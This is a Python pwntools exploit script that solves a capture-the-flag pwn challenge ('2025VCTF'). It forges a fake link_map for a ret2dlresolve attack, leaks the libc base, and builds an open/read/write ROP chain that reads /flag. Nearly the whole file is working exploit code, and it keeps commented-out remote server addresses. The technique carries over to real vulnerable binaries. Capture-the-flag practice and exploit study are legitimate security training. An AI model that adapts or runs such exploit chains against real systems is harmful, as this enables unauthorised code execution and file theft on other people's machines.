```
from pwn import *
#----------------------初始化----------------------------

challenge = "./pwn"
libc_path = './libc-2.35_x64.so'
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.log_level = 'debug'
elf = ELF(challenge)
libc = ELF(libc_path) if libc_path else None

# io = process(challenge)
# tcp://47.98.117.93:33737
io = remote("127.0.0.1", 10000)
# io = remote("156.238.233.53", 10000)

def forge_linkmap(linkmap_addr, known_libc_RVA, call_libc_RVA, known_elf_got_VA, arch='x64',custom_data=b""):
    assert isinstance(custom_data, bytes)
    DT_STRTAB = 5
    DT_SYMTAB = 6
    DT_JMPREL = 23
    l_addr = call_libc_RVA - known_libc_RVA
    l_addr = l_addr & 0xFFFFFFFFFFFFFFFF
    custom_data_addr = 0
    fake_rel_entry = b""      # fake entry
    writable_addr = 0           # got rewrite addr, must writable
    padding_byte = b"\x00"
    if arch=='x64':
        sizes = {
            "size_t":0x8,
            "l_addr":0x8,
            "l_info_offset":0x40, # 64 位下  linkmap 的其实地址到 linkmap->l_info 地址的偏移量
            "Elf_Dyn":0x10,
            "Elf_Rel":0x18,
            "Elf_Sym":0x18,
        }
        pck = p64
        # writable_addr = linkmap_addr + sizes['l_info_offset'] - sizes['size_t']
        writable_addr = 0x404070 - l_addr
        writable_addr = writable_addr & 0xFFFFFFFFFFFFFFFF
```

```
        fake_rel_entry = pck(writable_addr) + pck(7) + pck(0) # r_offset + r_info + r_addend : got_VA=writable_addr + <INDEX=0>|<TYPE=7> + whatever
    else:
        sizes = {
            "size_t":0x4,
            "l_addr":0x4,
            "l_info_offset":0x20,
            "Elf_Dyn":0x8,
            "Elf_Rel":0x8,
            "Elf_Sym":0x10,
        }
        pck = p32
        # writable_addr = linkmap_addr + sizes['l_info_offset'] - sizes['size_t']
        writable_addr = 0x405000 - l_addr
        fake_rel_entry = pck(writable_addr) + pck(7) # r_offset + r_info : got_VA=writable_addr + <INDEX=0>|<TYPE=7>
    l_info_offset = lambda idx : sizes["l_info_offset"] + idx*sizes["size_t"]
    # fill in l_info.
    # e.g. l_info[DT_STRTAB] = fake_dyn_strtab_entry_addr
    fake_dyn_strtab_entry_addr = linkmap_addr + sizes['l_addr' ]
    fake_dyn_jmprel_entry_addr = fake_dyn_strtab_entry_addr + sizes['Elf_Dyn']
    fake_dyn_symtab_entry_addr = fake_dyn_jmprel_entry_addr + sizes['Elf_Dyn']
    fake_str_entry_addr = 0 # dlresolve: func str addr whatever
    fake_rel_entry_addr = linkmap_addr + sizes['l_info_offset'] # avoid program crash, must writable // 这里覆盖掉 l_info[0/1/2]没有关系，虽然覆盖掉了 dynamic 段的地址，但是程序其实不需要 dynamic 段的地址
    fake_sym_entry_addr = known_elf_got_VA - sizes['size_t'] # dlresolve: got entry and fake sym entry overlap
    fake_dyn_strtab_entry = pck(DT_STRTAB) + pck(fake_str_entry_addr) # Elf_Dyn: d_tag + d_ptr
    fake_dyn_jmprel_entry = pck(DT_JMPREL) + pck(fake_rel_entry_addr) # Elf_Dyn: d_tag + d_ptr
    fake_dyn_symtab_entry = pck(DT_SYMTAB) + pck(fake_sym_entry_addr) # Elf_Dyn: d_tag + d_ptr
    # Forge fake linkmap struct
    linkmap  = pck(l_addr) # diff between func A and func B: call_RVA - known_RVA
    # Three fake dyn entry
    linkmap += fake_dyn_strtab_entry # point to fake_str_entry
    linkmap += fake_dyn_jmprel_entry # point to fake_rel_entry
    linkmap += fake_dyn_symtab_entry # point to fake_sym_entry which overlaps with got entry
    # Padding until l_info array start
```

```
    linkmap    = linkmap.ljust(sizes["l_info_offset"],padding_byte)
    # Insert fake str entry before l_info[DT_STRTAB]
    linkmap += fake_rel_entry                                   # l_info[0]
    linkmap    = linkmap.ljust(l_info_offset(DT_STRTAB), padding_byte)
    # l_info list: each element is a pointer to a specific Elf_Dyn entry
    linkmap  +=  pck(fake_dyn_strtab_entry_addr)       # l_info[DT_STRTAB], just readable addr actually
    linkmap += pck(fake_dyn_symtab_entry_addr)      # l_info[DT_SYMTAB]
    # now we should padding and considering where the custom_data should be placed
    padding_size = l_info_offset(DT_JMPREL) - l_info_offset(DT_SYMTAB) - sizes['size_t']
    # if padding is big enough for custom_data, place it
    # 这里的 custom_data 是我们传入的东西，可以放一些字符串
    if(len(custom_data)<=padding_size):
        linkmap += custom_data
        custom_data_addr = linkmap_addr +    l_info_offset(DT_SYMTAB) + sizes['size_t']
    linkmap    = linkmap.ljust(l_info_offset(DT_JMPREL),padding_byte)
    linkmap += pck(fake_dyn_jmprel_entry_addr)      # l_info[DT_JMPREL]
    # otherwise, place custom_data on the bottom
    # it will enlarge fake link_map size
    if(len(custom_data)>padding_size):
        linkmap += custom_data
        custom_data_addr = linkmap_addr +    l_info_offset(DT_JMPREL) + sizes['size_t']
    return linkmap, custom_data_addr

def to_le_bytes(addr, size=8):
    return [ (addr >> (i*8)) & 0xFF for i in range(size) ]

#-----------------------------------------------------------
offset = 0x100
bss_addr = 0x4044A0
linkmap_addr = bss_addr + offset
flag_addr = bss_addr + 0xa00
pop_rbp_ret = 0x00000000004011bd#: pop rbp; ret;
leave_ret = 0x0000000000401228#: leave; ret;
ret = 0x000000000040101a#: ret;
#-----------------------------------------------------------
# pwndbg(0, bps, cmd)
io.recvuntil("Welcome to 2025VCTF!\n")

for i in range(32):
    io.sendline("b")

for byte in to_le_bytes(bss_addr-8):
    io.sendline(bytes([byte]))
```

```
io.send("a") # 结束输入
#-----------------------------------------------------------

pop_rdi_ret_offset = 0x000000000002a3e5#: pop rdi; ret;
pop_rsi_ret_offset = 0x000000000011e6e7#: pop rsi; ret;
pop_rdx_ret_offset = 0x000000000011f357#: pop rdx; pop r12; ret;
jmp_dl_resolve = 0x0401026 # bnd jmp cs:qword_404010
puts_offset = libc.sym["puts"]
read_got_addr = elf.got["read"]
read_offset = libc.sym['read']

# pwndbg(0, bps, cmd)

fake_linkmap_pop_rdi_ret_addr = linkmap_addr
fake_linkmap_pop_rdi_ret, a = forge_linkmap(fake_linkmap_pop_rdi_ret_addr, read_offset, pop_rdi_ret_offset, read_got_addr)

fake_linkmap_puts_addr = fake_linkmap_pop_rdi_ret_addr + len(fake_linkmap_pop_rdi_ret)
fake_linkmap_puts, flag_addr = forge_linkmap(fake_linkmap_puts_addr, read_offset, puts_offset, read_got_addr, arch='x64', custom_data=b'/flag')

payload_rop = b''
payload_rop += p64(jmp_dl_resolve)
payload_rop += p64(fake_linkmap_pop_rdi_ret_addr)
payload_rop += p64(0)
payload_rop += p64(read_got_addr)
payload_rop += p64(jmp_dl_resolve)
payload_rop += p64(fake_linkmap_puts_addr)
payload_rop += p64(0)
payload_rop += p64(pop_rbp_ret)
payload_rop += p64(bss_addr-8)
payload_rop += p64(0x4013FA) # read_addr ->  lea  rax, bss_addr_200
payload_rop += p64(leave_ret)
payload_rop += p64(leave_ret)
payload_rop += p64(leave_ret)

payload_rop = payload_rop.ljust(offset, b'\x00')
payload_rop += fake_linkmap_pop_rdi_ret
payload_rop += fake_linkmap_puts
io.send(payload_rop)

# io.recv()
read_addr = u64(io.recv(6).ljust(8, b'\x00'))
```

```
log.success(f"leak is read_addr address: {hex(read_addr)}")
read_offset = libc.sym["read"]
libc_base = read_addr - libc.sym["read"]
log.success(f"leak is read_offset: {hex(read_offset)}")
log.success(f"leak is libc_base address: {hex(libc_base)}")

open_addr = libc_base + libc.sym["open"]
log.success(f"leak is open_addr: {hex(open_addr)}")
write_addr = libc_base + libc.sym["write"]
log.success(f"leak is write_addr: {hex(write_addr)}")

pop_rdi_ret = libc_base + pop_rdi_ret_offset
log.success(f"leak is pop_rdi_ret address: {hex(pop_rdi_ret)}")
pop_rsi_ret = libc_base + pop_rsi_ret_offset
log.success(f"leak is pop_rsi_ret address: {hex(pop_rsi_ret)}")
pop_rdx_ret = libc_base + pop_rdx_ret_offset
log.success(f"leak is pop_rdx_ret address: {hex(pop_rdx_ret)}")

#-------------------------------------------------------

# 这里会覆盖到 read 的返回地址，所以需要计算一下 offset
payload_rop2 = b''
payload_rop2 = payload_rop2.ljust(0x48, b'\x00')
payload_rop2 += p64(pop_rdi_ret)
payload_rop2 += p64(flag_addr)
payload_rop2 += p64(pop_rsi_ret)
payload_rop2 += p64(0)
payload_rop2 += p64(open_addr)

payload_rop2 += p64(pop_rdi_ret)
payload_rop2 += p64(3)
payload_rop2 += p64(pop_rsi_ret)
payload_rop2 += p64(flag_addr)
payload_rop2 += p64(pop_rdx_ret)
payload_rop2 += p64(0x100)
payload_rop2 += p64(0x0)
payload_rop2 += p64(read_addr)

payload_rop2 += p64(pop_rdi_ret)
payload_rop2 += p64(1)
payload_rop2 += p64(pop_rsi_ret)
payload_rop2 += p64(flag_addr)
payload_rop2 += p64(pop_rdx_ret)
payload_rop2 += p64(0x100)
```

```
payload_rop2 += p64(0x0)
payload_rop2 += p64(write_addr)
sleep(0.2)
io.send(payload_rop2)
io.interactive()
```